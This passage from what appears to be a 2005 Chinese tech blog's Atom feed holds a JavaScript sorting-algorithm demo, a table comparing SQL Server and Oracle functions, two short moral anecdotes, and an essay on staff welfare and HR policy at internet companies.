<P><SPAN class=code>&lt;p&gt;&lt;b&gt;希儿排序&lt;/b&gt;&lt;br&gt;<BR>&nbsp; &lt;input name=Shell type=text size=100 value="g,v,u,f,p,o,i,a,t,j"&gt;<BR>&lt;br&gt;&lt;input type=button value=" 排序 " onclick="alert(ShellSort(Shell.value.split(',')));"&gt;</SPAN></P>
<P><SPAN class=code>&lt;/fieldset&gt;<BR>&lt;p&gt;<BR>&lt;fieldset&gt;<BR>&lt;legend&gt;交换排序&lt;/legend&gt;</SPAN></P>
<P><SPAN class=code>&lt;b&gt;冒泡排序&lt;/b&gt;&lt;br&gt;<BR>&lt;input name=bubble type=text size=100 value="g,v,u,f,p,o,i,a,t,j,e,l,k"&gt;<BR>&lt;br&gt;&lt;input type=button value=" 排序 " onclick="alert(BubbleSort(bubble.value.split(',')));"&gt;</SPAN></P>
<P><SPAN class=code>&lt;p&gt;&lt;b&gt;快速排序&lt;br&gt;<BR>&lt;/b&gt;<BR>&nbsp; &lt;input name=quick type=text size=100 value="3,1,5,4,6"&gt;<BR>&lt;br&gt;&lt;input type=button value=" 排序 " onclick="alert(QuickSortDemo(quick.value.split(',')));"&gt;</SPAN></P>
<P><SPAN class=code>&lt;/fieldset&gt;<BR>&lt;p&gt;<BR>&lt;fieldset&gt;<BR>&lt;legend&gt;选择排序&lt;/legend&gt;</SPAN></P>
<P><SPAN class=code>&lt;b&gt;直接选择排序&lt;/b&gt;&lt;br&gt;<BR>&lt;input name=select1 type=text size=100 value="g,v,u,f,p,o,i,a,t,j,e,l,k"&gt;<BR>&lt;br&gt;&lt;input type=button value=" 排序 " onclick="alert(SelectSort(select1.value.split(',')));"&gt;</SPAN></P>
<P><SPAN class=code>&lt;p&gt;... ...</SPAN></P>
<P><SPAN class=code>&lt;/fieldset&gt;</SPAN></P><SPAN class=code>
<P><BR>&lt;script&gt;<BR>&nbsp;function InsertSort(arr) { //插入排序-&gt;直接插入法排序<BR>&nbsp; var st = new Date();<BR>&nbsp; var temp, j;<BR>&nbsp; for(var i=1; i&lt;arr.length; i++) {<BR>&nbsp;&nbsp; if((arr[i]) &lt; (arr[i-1])) {<BR>&nbsp;&nbsp;&nbsp; temp = arr[i];<BR>&nbsp;&nbsp;&nbsp; j = i-1;<BR>&nbsp;&nbsp;&nbsp; do {<BR>&nbsp;&nbsp;&nbsp;&nbsp; arr[j+1] = arr[j];<BR>&nbsp;&nbsp;&nbsp;&nbsp; j--;<BR>&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; while (j&gt;-1 && (temp) &lt; (arr[j]));<BR>&nbsp;&nbsp;&nbsp; arr[j+1] = temp;<BR>&nbsp;&nbsp; }//endif<BR>&nbsp; }<BR>&nbsp; status = (new Date() - st) + ' ms';<BR>&nbsp; return arr;<BR>&nbsp;}</P>
<P><BR>&nbsp;function ShellSort(arr) { //插入排序-&gt;希儿排序<BR>&nbsp; var st = new Date();<BR>&nbsp; var increment = arr.length;<BR>&nbsp; do {<BR>&nbsp;&nbsp; increment = (increment/3|0) + 1;<BR>&nbsp;&nbsp; arr = ShellPass(arr, increment);<BR>&nbsp; }<BR>&nbsp; while (increment &gt; 1)</P>
<P>&nbsp; status = (new Date() - st) + ' ms';<BR>&nbsp; return arr;<BR>&nbsp;}<BR>&nbsp;function ShellPass(arr, d) { //希儿排序分段执行函数<BR>&nbsp; var temp, j;<BR>&nbsp; for(var i=d; i&lt;arr.length; i++) {<BR>&nbsp;&nbsp; if((arr[i]) &lt; (arr[i-d])) {<BR>&nbsp;&nbsp;&nbsp; temp = arr[i]; j = i-d;<BR>&nbsp;&nbsp;&nbsp; do {<BR>&nbsp;&nbsp;&nbsp;&nbsp; arr[j+d] = arr[j];<BR>&nbsp;&nbsp;&nbsp;&nbsp; j = j-d;<BR>&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; while (j&gt;-1 && (temp) &lt; (arr[j]));<BR>&nbsp;&nbsp;&nbsp; arr[j+d] = temp;<BR>&nbsp;&nbsp; }//endif<BR>&nbsp; }<BR>&nbsp; return arr;<BR>&nbsp;}</P>
<P><BR>&nbsp;function BubbleSort(arr) { //交换排序-&gt;冒泡排序<BR>&nbsp; var st = new Date();<BR>&nbsp; var temp;<BR>&nbsp; var exchange;<BR>&nbsp; for(var i=0; i&lt;arr.length; i++) {<BR>&nbsp;&nbsp; exchange = false;<BR>&nbsp;&nbsp; for(var j=arr.length-2; j&gt;=i; j--) {<BR>&nbsp;&nbsp;&nbsp; if((arr[j+1]) &lt; (arr[j])) {<BR>&nbsp;&nbsp;&nbsp;&nbsp; temp = arr[j+1];<BR>&nbsp;&nbsp;&nbsp;&nbsp; arr[j+1] = arr[j];<BR>&nbsp;&nbsp;&nbsp;&nbsp; arr[j] = temp;<BR>&nbsp;&nbsp;&nbsp;&nbsp; exchange = true;<BR>&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp; }<BR>&nbsp;&nbsp; if(!exchange) break;<BR>&nbsp; }<BR>&nbsp; status = (new Date() - st) + ' ms';<BR>&nbsp; return arr;<BR>&nbsp;}</P>
<P>&nbsp;function QuickSortDemo(arr) {<BR>&nbsp; var st = new Date();<BR>&nbsp; var result = QuickSort(arr);<BR>&nbsp; status = (new Date() - st) + ' ms';<BR>&nbsp; return result;<BR>&nbsp;} </P>
<P>&nbsp;function QuickSort(arr) { //交换排序-&gt;快速排序<BR>&nbsp; if (arguments.length&gt;1) {<BR>&nbsp;&nbsp; var low = arguments[1];<BR>&nbsp;&nbsp; var high = arguments[2];<BR>&nbsp; } else {<BR>&nbsp;&nbsp; var low = 0;<BR>&nbsp;&nbsp; var high = arr.length-1;<BR>&nbsp; }<BR>&nbsp; if(low &lt; high){<BR>&nbsp;&nbsp; // function Partition<BR>&nbsp;&nbsp; var i = low;<BR>&nbsp;&nbsp; var j = high;<BR>&nbsp;&nbsp; var pivot = arr[i];<BR>&nbsp;&nbsp; while(i&lt;j) {<BR>&nbsp;&nbsp;&nbsp; while(i&lt;j && arr[j]&gt;=pivot)<BR>&nbsp;&nbsp;&nbsp;&nbsp; j--;<BR>&nbsp;&nbsp;&nbsp; if(i&lt;j)<BR>&nbsp;&nbsp;&nbsp;&nbsp; arr[i++] = arr[j];<BR>&nbsp;&nbsp;&nbsp; while(i&lt;j && arr[i]&lt;=pivot)<BR>&nbsp;&nbsp;&nbsp;&nbsp; i++;<BR>&nbsp;&nbsp;&nbsp; if(i&lt;j)<BR>&nbsp;&nbsp;&nbsp;&nbsp; arr[j--] = arr[i];<BR>&nbsp;&nbsp; }//endwhile<BR>&nbsp;&nbsp; arr[i] = pivot;<BR>&nbsp;&nbsp; // end function<BR>&nbsp;&nbsp; var pivotpos = i; //Partition(arr，low，high);<BR>&nbsp;&nbsp; QuickSort(arr, low, pivotpos-1);<BR>&nbsp;&nbsp; QuickSort(arr, pivotpos+1, high);<BR>&nbsp; } else<BR>&nbsp;&nbsp; return;<BR>&nbsp;&nbsp; return arr;<BR>&nbsp;}<BR>&nbsp;<BR>&nbsp;/*function Partition(arr, i, j) { //快速排序, 对待排序的数组进行划分<BR>&nbsp; var pivot = arr[i];<BR>&nbsp; while(i&lt;j) {<BR>&nbsp;&nbsp; while(arr[j]&gt;=pivot)<BR>&nbsp;&nbsp;&nbsp; j--;<BR>&nbsp;&nbsp; if(i&lt;j)<BR>&nbsp;&nbsp;&nbsp; arr[i++] = arr[j];<BR>&nbsp;&nbsp; while(arr[i]&lt;=pivot)<BR>&nbsp;&nbsp;&nbsp; i++;<BR>&nbsp;&nbsp; if(i&lt;j)<BR>&nbsp;&nbsp;&nbsp; arr[j--] = arr[i];<BR>&nbsp; }<BR>&nbsp; arr[i] = pivot;<BR>&nbsp; return arr;<BR>&nbsp;}*/</P>
<P>&nbsp;function SelectSort(arr) { //选择排序-&gt;直接选择排序<BR>&nbsp; var st = new Date();<BR>&nbsp; var temp;<BR>&nbsp; for(var i=0; i&lt;arr.length; i++) {<BR>&nbsp;&nbsp; var k = i;<BR>&nbsp;&nbsp; for(var j=i+1; j&lt;arr.length; j++) {<BR>&nbsp;&nbsp;&nbsp; if((arr[j]) &lt; (arr[k]))<BR>&nbsp;&nbsp;&nbsp;&nbsp; k = j;<BR>&nbsp;&nbsp; }<BR>&nbsp;&nbsp; if (k != i){<BR>&nbsp;&nbsp;&nbsp; temp = arr[i];<BR>&nbsp;&nbsp;&nbsp; arr[i] = arr[k];<BR>&nbsp;&nbsp;&nbsp; arr[k] = temp;<BR>&nbsp;&nbsp; }<BR>&nbsp; }<BR>&nbsp; status = (new Date() - st) + ' ms';<BR>&nbsp; return arr;<BR>&nbsp;}<BR>&nbsp;</P>
<P>&nbsp;function unicode(str) {//求字符串的unicode码<BR>&nbsp; var uni=0;<BR>&nbsp; for(var i=0; i&lt;str.length; i++){<BR>&nbsp;&nbsp; uni += str.charCodeAt(i)/6553.5 * Math.pow(10, str.length-i);<BR>&nbsp; }<BR>&nbsp; return uni;<BR>&nbsp;}<BR>&lt;/script&gt;<BR></SPAN></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=48" /> 
	  <id>http://www.openx.cn/default.asp?id=48</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[SQLServer和Oracle常用函数对比]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-20T10:11:51+08:00</updated>
	  <published>2005-09-20T10:11:51+08:00</published>
		  <summary type="html"><![CDATA[<P>数学函数</P>
<P>　　1.绝对值 <BR>　　S:select abs(-1) value <BR>　　O:select abs(-1) value from dual </P>
<P>　　2.取整(大) <BR>　　S:select ceiling(-1.001) value <BR>　　O:select ceil(-1.001) value from dual </P>
<P>　　3.取整（小） <BR>　　S:select floor(-1.001) value <BR>　　O:select floor(-1.001) value from dual </P>
<P>　　4.取整（截取） <BR>　　S:select ca&#115;t(-1.002 as int) value <BR>　　O:select trunc(-1.002) value from dual </P>
<P>　　5.四舍五入 <BR>　　S:select round(1.23456,4) value 1.23460 <BR>　　O:select round(1.23456,4) value from dual 1.2346 </P>
<P>　　6.e为底的幂 <BR>　　S:select Exp(1) value 2.7182818284590451 <BR>　　O:select Exp(1) value from dual 2.71828182 </P>
<P>　　7.取e为底的对数 <BR>　　S:select log(2.7182818284590451) value 1 <BR>　　O:select ln(2.7182818284590451) value from dual; 1 </P>
<P>　　8.取10为底对数 <BR>　　S:select log10(10) value 1 <BR>　　O:select log(10,10) value from dual; 1 </P>
<P>　　9.取平方 <BR>　　S:select SQUARE(4) value 16 <BR>　　O:select power(4,2) value from dual 16 </P>
<P>　　10.取平方根 <BR>　　S:select SQRT(4) value 2 <BR>　　O:select SQRT(4) value from dual 2 </P>
<P>　　11.求任意数为底的幂 <BR>　　S:select power(3,4) value 81 <BR>　　O:select power(3,4) value from dual 81 </P>
<P>　　12.取随机数 <BR>　　S:select rand() value <BR>　　O:select sys.dbms_random.value(0,1) value from dual; </P>
<P>　　13.取符号 <BR>　　S:select sign(-8) value -1 <BR>　　O:select sign(-8) value from dual -1 </P>
<P>　　14.圆周率 <BR>　　S:SELECT PI() value 3.1415926535897931 <BR>　　O:不知道 </P>
<P>　　15.sin,cos,tan 参数都以弧度为单位 <BR>　　例如：select sin(PI()/2) value 得到1（SQLServer） </P>
<P>　　16.Asin,Acos,Atan,Atan2 返回弧度 </P>
<P>　　17.弧度角度互换(SQLServer，Oracle不知道) <BR>　　DEGREES：弧度-〉角度 <BR>　　RADIANS：角度-〉弧度 </P>
<P>数值间比较 </P>
<P>　　18. 求集合最大值 <BR>　　S:select max(value) value from <BR>　　(select 1 value <BR>　　un&#105;on <BR>　　select -2 value <BR>　　un&#105;on <BR>　　select 4 value <BR>　　un&#105;on <BR>　　select 3 value)a </P>
<P>　　O:select greatest(1,-2,4,3) value from dual </P>
<P>　　19. 求集合最小值 <BR>　　S:select min(value) value from <BR>　　(select 1 value <BR>　　un&#105;on <BR>　　select -2 value <BR>　　un&#105;on <BR>　　select 4 value <BR>　　un&#105;on <BR>　　select 3 value)a </P>
<P>　　O:select least(1,-2,4,3) value from dual </P>
<P>　　20.如何处理null值(F2中的null以10代替) <BR>　　S:select F1,IsNull(F2,10) value from Tbl <BR>　　O:select F1,nvl(F2,10) value from Tbl </P>
<P>　　21.求字符序号 <BR>　　S:select ascii('a') value <BR>　　O:select ascii('a') value from dual </P>
<P>　　22.从序号求字符 <BR>　　S:select char(97) value <BR>　　O:select chr(97) value from dual </P>
<P>　　23.连接 <BR>　　S:select '11'+'22'+'33' value <BR>　　O:select CONCAT('11','22')　　33 value from dual </P>
<P>23.子串位置 --返回3 <BR>　　S:select CHARINDEX('s','sdsq',2) value <BR>　　O:select INSTR('sdsq','s',2) value from dual </P>
<P>　　23.模糊子串的位置 --返回2,参数去掉中间%则返回7 <BR>　　S:select patindex('%d%q%','sdsfasdqe') value <BR>　　O:oracle没发现，但是instr可以通过第四个参数控制出现次数 <BR>　　select INSTR('sdsfasdqe','sd',1,2) value from dual 返回6 </P>
<P>　　24.求子串 <BR>　　S:select substring('abcd',2,2) value <BR>　　O:select substr('abcd',2,2) value from dual </P>
<P>　　25.子串代替 返回aijklmnef <BR>　　S:SELECT STUFF('abcdef', 2, 3, 'ijklmn') value <BR>　　O:SELECT Replace('abcdef', 'bcd', 'ijklmn') value from dual </P>
<P>　　26.子串全部替换 <BR>　　S:没发现 <BR>　　O:select Translate('fasdbfasegas','fa','我' ) value from dual </P>
<P>　　27.长度 <BR>　　S:len,datalength <BR>　　O:length&nbsp;<BR>&nbsp;<BR>　　28.大小写转换 lower,upper </P>
<P>　　29.单词首字母大写 <BR>　　S:没发现 <BR>　　O:select INITCAP('abcd dsaf df') value from dual </P>
<P>　　30.左补空格（LPAD的第一个参数为空格则同space函数） <BR>　　S:select space(10)+'abcd' value <BR>　　O:select LPAD('abcd',14) value from dual </P>
<P>　　31.右补空格（RPAD的第一个参数为空格则同space函数） <BR>　　S:select 'abcd'+space(10) value <BR>　　O:select RPAD('abcd',14) value from dual </P>
<P>　　32.删除空格 <BR>　　S:ltrim,rtrim <BR>　　O:ltrim,rtrim,trim </P>
<P>　　33. 重复字符串 <BR>　　S:select REPLICATE('abcd',2) value <BR>　　O:没发现 </P>
<P>　　34.发音相似性比较(这两个单词返回值一样，发音相同) <BR>　　S:SELECT SOUNDEX ('Smith'), SOUNDEX ('Smythe') <BR>　　O:SELECT SOUNDEX ('Smith'), SOUNDEX ('Smythe') from dual <BR>　　SQLServer中用SELECT DIFFERENCE('Smithers', 'Smythers') 比较soundex的差 <BR>　　返回0-4，4为同音，1最高 </P>
<P>日期函数 <BR>　　35.系统时间 <BR>　　S:select getdate() value <BR>　　O:select sysdate value from dual </P>
<P>　　36.前后几日 <BR>　　直接与整数相加减 </P>
<P>　　37.求日期 <BR>　　S:select convert(char(10),getdate(),20) value <BR>　　O:select trunc(sysdate) value from dual <BR>　　select to_char(sysdate,'yyyy-mm-dd') value from dual </P>
<P>　　38.求时间 <BR>　　S:select convert(char(8),getdate(),108) value <BR>　　O:select to_char(sysdate,'hh24:mm:ss') value from dual </P>
<P>39.取日期时间的其他部分 <BR>　　S:DATEPART 和 DATENAME 函数 （第一个参数决定） <BR>　　O:to_char函数 第二个参数决定 </P>
<P>　　参数---------------------------------下表需要补充 <BR>　　year yy, yyyy <BR>　　quarter qq, q (季度) <BR>　　month mm, m (m O无效) <BR>　　dayofyear dy, y (O表星期) <BR>　　day dd, d (d O无效) <BR>　　week wk, ww (wk O无效) <BR>　　weekday dw (O不清楚) <BR>　　Hour hh,hh12,hh24 (hh12,hh24 S无效) <BR>　　minute mi, n (n O无效) <BR>　　second ss, s (s O无效) <BR>　　millisecond ms (O无效) <BR>　　---------------------------------------------- </P>
<P>　　40.当月最后一天 <BR>　　S:不知道 <BR>　　O:select LAST_DAY(sysdate) value from dual </P>
<P>　　41.本星期的某一天（比如星期日） <BR>　　S:不知道 <BR>　　O:SELECT Next_day(sysdate,7) vaule FROM DUAL; </P>
<P>　　42.字符串转时间 <BR>　　S:可以直接转或者select ca&#115;t('2004-09-08'as datetime) value <BR>　　O:SELECT To_date('2004-01-05 22:09:38','yyyy-mm-dd hh24-mi-ss') vaule FROM DUAL; </P>
<P>　　43.求两日期某一部分的差（比如秒） <BR>　　S:select datediff(ss,getdate(),getdate()+12.3) value <BR>　　O:直接用两个日期相减（比如d1-d2=12.3） <BR>　　SELECT (d1-d2)*24*60*60 vaule FROM DUAL; </P>
<P>　　44.根据差值求新的日期（比如分钟） <BR>　　S:select dateadd(mi,8,getdate()) value <BR>　　O:SELECT sysdate+8/60/24 vaule FROM DUAL; </P>
<P>　　45.求不同时区时间 <BR>　　S:不知道 <BR>　　O:SELECT New_time(sysdate,'ydt','gmt' ) vaule FROM DUAL; </P>
<P>　　-----时区参数,北京在东8区应该是Ydt------- <BR>　　AST ADT 大西洋标准时间 <BR>　　BST BDT 白令海标准时间 <BR>　　CST CDT 中部标准时间 <BR>　　EST EDT 东部标准时间 <BR>　　GMT 格林尼治标准时间 <BR>　　HST HDT 阿拉斯加?夏威夷标准时间 <BR>　　MST MDT 山区标准时间 <BR>　　NST 纽芬兰标准时间 <BR>　　PST PDT 太平洋标准时间 <BR>　　YST YDT YUKON标准时间 </P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=47" /> 
	  <id>http://www.openx.cn/default.asp?id=47</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[不要用有色眼睛看人]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-20T09:39:25+08:00</updated>
	  <published>2005-09-20T09:39:25+08:00</published>
		  <summary type="html"><![CDATA[从前有一个人遗失了一把斧头，他怀疑被隔壁的小孩偷走了。于是，他就暗中观察小孩的行动，不论是言语与动作，或是神态与举止，怎么看，都觉得小孩是像偷斧头的人。由于没有证据，所以也就没有办法揭发。隔了几天，他在后山找到了遗失的斧头，原来是自己弄丢了。从此之后，他再去观察隔壁的小孩，再怎么看也不像是会偷斧头的人。<BR><BR>　认识一个人，切忌以自己主观想象作为衡量别人的标准，主观意识太强，经常会造成识人的错误与偏差。 <BR>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=46" /> 
	  <id>http://www.openx.cn/default.asp?id=46</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[领导者不能轻视自己对下属的许诺]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-20T09:37:26+08:00</updated>
	  <published>2005-09-20T09:37:26+08:00</published>
		  <summary type="html"><![CDATA[<P>《商君书》记载，商鞅准备在秦国变法，制定了新的法律。为了使百姓相信新法是能够坚决执行的，他便在京城南门口树了一根大木，对围观者说：“谁要能将这跟木头从南门搬到北门，就赏他五十两银子!”大多数人都不相信有这等好事，恐怕商鞅的许诺不能兑现。 <BR><BR>　　　就在大家犹豫不决时，有一个人却扛起木头，从南门一直走到北门，商鞅当场兑现，赏给他五十两银子。这样一来，人们都相信商鞅说的话是算数的，在推行他所立的新法的时候人们就遵守了。 <BR><BR>　　　我国古人很讲究言不在多，但必须守信的道理，因为守信就能得到人们的信任。一般老百姓讲不讲信用，只是关系到人际关系；而政治家、军事家讲不讲信用，则关系到治国、治军的大事。 <BR><BR>　　　在今天，守信更成为一个事业成功的重要因素。在中国，有相当多的城市提到自己的宣传口号时也总会出现守信这两个字。 <BR><BR>　　　虽然说守信大家都知道说，也都明白是怎么回事，但是总有些人会由于一些特殊的原因而不能遵守他的诺言。作为一个管理者，在这方面尤其应该重视。特别是有的领导者，当下属做了一件很令自己高兴的事的时候，总会脱口而出许下一个什么诺言。而他们的许诺大多和升职、加薪有关，这就让下属引颈期盼。可由于工作繁忙，他也许说过之后就忘记了，这样的结果会极大地挫伤下属工作的积极性。 <BR><BR>　　　另一方面，领导人不遵守自己的诺言将会使下属很快产生对上司的不信任感，得不到群众信任的上司怎么可能带领自己的团队做出优秀的成绩呢？领导者的成功总是和团队基层工作人员的努力分不开的，所以尤其不能轻视自己对下属的许诺，要么坚决不许诺，许诺就一定要遵守，哪怕最后会带来一些损失，否则，作为领导者失去的东西将会更多。 <BR>　　　丧失信用最迅速的方法就是告诉别人一个永远也找不到水源的沙漠。</P>
<P>摘:http://news.csdn.net/news/newstopic/26/26310.shtml</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=45" /> 
	  <id>http://www.openx.cn/default.asp?id=45</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[如何做一个好的互联网老板]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-20T09:34:02+08:00</updated>
	  <published>2005-09-20T09:34:02+08:00</published>
		  <summary type="html"><![CDATA[<P>来自：MSNblog&nbsp;&nbsp;陆征</P>
<P>&nbsp; 做一个好的互联网老板，一定要是一个杂家，这个原则同时对高级管理者起作用。 </P>
<DIV><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 今天主要想谈的是对人事行政制度的一些看法，希望大家一起来讨论指正。</FONT></DIV>
<DIV><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;离开华友才慢慢体会，刘文忠作的事情当初看虽然不起眼，但是他的确是个人事天才。</FONT></DIV>
<DIV><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 人事行政制度绝对不是大家通常所想象的仅仅包括人员招聘、人员管理那样简单。一个真正人性化的人事行政制度，比起那些口头标榜自己人性化的老板，有用的多。</FONT></DIV>
<DIV><FONT size=3></FONT>&nbsp;</DIV>
<DIV><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 人事行政制度，从我一个比较外行的眼力，至少包括了人员招募、职位薪资评定、人员绩效评估、员工福利报销、员工培训、团队训练、工作环境营造、员工业余文化生活、年假制度、股权期权制度等多方面。</FONT></DIV>
<DIV><FONT size=3></FONT>&nbsp;</DIV>
<DIV><FONT size=3><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>从公司的开始说起，一家公司最开始选择<STRONG>办公地点</STRONG>，就是一个很大的学问，办公地点的租金是一个重要因素，但是办公室的地理位置则更是体现了对员工的关怀的。还不仅仅是关怀本身，如果办公地点极度偏远，那么人才的可选择余地就会很有限，毕竟家近是个宝，谁也不希望每天上班用超过1个半小时的时间甚至两小时。而且越是职位低的人，越会考虑到交通距离与成本的问题。</FONT></DIV>
<DIV><FONT size=3></FONT>&nbsp;</DIV>
<DIV><FONT size=3><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>最最理想的当然是身处市中心，或者毗邻城铁地铁，这样的好处就是基本上在北京这个拥挤的交通状况下，大家都不会迟到。或者说，考虑到人才分布的关系，把地址选择在大学区附近，也是一个策略。但即便如此，至少应该保证附近交通线路畅通。如果哪家老板单单为了自己停车不用花停车费，就找到了一个步行至少15分钟才能找到车站的荒郊僻壤，无论如何也是说不过去的。您别笑，这还真不是笑话，我上一家老板就是这么干的。</FONT></DIV>
<DIV><FONT size=3></FONT>&nbsp;</DIV>
<DIV><FONT size=3><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>然后就是制定一个合理的<STRONG>薪资结构</STRONG>，让每个人心里都清楚，每一个职位它的价值范围是多少。当然，这个范围要参考业内相同行业的相似水平。而对于小公司来讲，则必须要比大公司在这方面要慷慨一些，寄希望于把薪金不透明化，那是把人当傻子，即使不会内部人员比较，难道不会跟同行去比较么？所以有竞争力的薪金才是关键。</FONT></DIV>
<DIV><FONT size=3></FONT>&nbsp;</DIV>
<DIV><FONT size=3><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>当然，把单纯薪金作为招揽人才的关键，是有问题的。因为也不可能做到远远比其他行业高，否则人力成本就得不到有效控制。这个时候，一些巧妙的福利制度，就可以花小钱办大事。稍后会提到。</FONT></DIV>
<DIV><FONT size=3></FONT>&nbsp;</DIV>
<DIV><FONT size=3><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>下面就是<STRONG>人员招募</STRONG>了。最开始的人员招募，多数是一些旧时的合作伙伴或者朋友推荐为主，往往都是一专多能。但是切忌在同一岗位安插两个负责的人。这个时候需要的是一个人干多个事情，而不是两个人抢一件事情。下一层人员招募的主要依据是具体各个职能部门的负责人的具体要求，而不是老板觉得谁好，就把谁塞进来。因为最终使用这些人干活的是部门负责人。人事部门在这个时候扮演的角色，可也不是没事情，而是注重考察这个人的职业规划能力和预期。如果你不想要自己的公司都是一批没有理想的人，那么你必须要招进有自己职业理想的人，这样的人，不管他的理想是不是弱智不切实际的，但肯定都是有热情的。</FONT></DIV>
<DIV><FONT size=3></FONT>&nbsp;</DIV>
<DIV><FONT size=3><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>另外，一些老板期待的不合理的人力使用策略，HR们一定要予以提醒。比如，有些老板希望自己的员工能够刚刚到岗，不需要适应培训熟悉就可以立刻开始工作，并且从此之后是120%的overload，那么你一个人事就必须组织这种疯狂的想法。任何人熟悉一个工作，不仅仅是在工作内容上熟悉，还需要一个环境的融入，合作人的熟悉，这是下面谈到的一些team building的工作。而让一个人完全没有喘息的工作，那是在找一个民工。一个脑力工作者，需要有一定的放松和思考的时间。想要员工多干活，就是福利制度的保证了。</FONT></DIV>
<DIV><FONT size=3></FONT>&nbsp;</DIV>
<DIV><FONT size=3></FONT>&nbsp;</DIV>
<DIV><FONT size=3><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>下面谈<STRONG>福利制度</STRONG>。IT行业最通用的，大家都有的，第一个是午餐餐补，8-12元不等，根据所处办公周边的情况而定。但您听说过午饭不仅不发餐补，而且还扣钱的公司没有？我上一家就是。虽然扣的不多吧。但谁傻啊。别的公司假设最低的来说，8块钱标准。那么这里你不给，反扣5块，我的午餐标准就统一变成了13块的标准。13块钱什么标准？高档写字楼下自助餐，6菜1汤，水果米饭随便吃。我上一家什么标准，3个菜，一荤两素，米饭有时候不够吃的。没办法，你就给人家小时工那么多钱啊。</FONT></DIV>
<DIV><FONT size=3></FONT>&nbsp;</DIV>
<DIV><FONT size=3><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>另外it公司最通常的现象就是<STRONG>加班</STRONG>了。如果你希望员工加班，那么就要巧妙一点，不要高喊奉献口号，这不是70年代文化大革命，没有人头脑简单了。何况你也不期望请一个头脑简单的人来对吧？很多公司都没有加班费，这也是，因为加班费标准很高，推行起来成本负担过高。业内通行的标准是，提供一些晚餐补助、以及到了规定时间后打车报销。这样，会有多数单身员工比较愿意加班，因为回去也没什么事情，在这里剩下一顿饭钱还有电脑用，多好。这样，你仅仅花费几十块钱，就让一个人多干了好几个钟头，在办公室环境下，他不可能一点活儿都不干吧，这样算下来，这些投入是完全值得的。</FONT></DIV>
<DIV><FONT size=3></FONT>&nbsp;</DIV>
<DIV><FONT size=3><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>华友作的是最人性的，也是最大程度让人才有依赖性的。晚8点以后提供20元饭补，打车报销。当然作为一个可能钱不富裕的公司，可以考虑几种措施，例如少提供饭补，然后打车报销。或者加班必须要提前申请，写明原因（sina做法，不过sina是给加班费的）。</FONT></DIV>
<DIV><FONT size=3></FONT>&nbsp;</DIV>
<DIV><FONT size=3><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>总之您不能因为仗着自己有车，大周末晚上拉着大家一起陪自己和老婆开茶话会到10点多，然后让所有员工自己掏腰包打车回家。因为那样太没人性了，大家说对么？</FONT></DIV>
<DIV><FONT size=3></FONT>&nbsp;</DIV>
<DIV><FONT size=3><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>到这里就需要总结了，人事制度作的好的，不是去扼杀人性中那些不好的方面，而是要去利用那些人性上不好的一面。简单说，就是好的人事制度一定要给员工一些可趁之机。能让他们占到一些便宜。比如说，华友每天早上必然的水果，就是日久天长的一种拉拢。成批购买的水果价值才多少？比如说所有公司都回设几台打印机，让员工可以自由打印一些东西。就算员工偶尔用来打出一本小说来，能用掉多少油墨和纸张钱？如果你是一个小公司的老板，统共就没有几个人，完全可以做到不限量供应水果、饮料、食品。你担心会亏？首先你要相信，你招募的员工素质肯定比去吃好伦哥等自助的人普遍素质要高，而且就算素质差不多，为什么人家那么低的定价不会赔，你供应远远没有人家丰富就不划算了？这种体贴的做法，即使算到极致，也许一个人一个月也不过能让每个员工占到几百元不到的便宜。但是你收买了人心，榨取了更多剩余劳动力，你是包赚不赔的。相反，如果你把员工当贼防着，你固然节约了一时的成本，但是你的员工也就失去了占到一些便宜好好干活补偿的心态。士气低沉，怨声载道。</FONT></DIV>
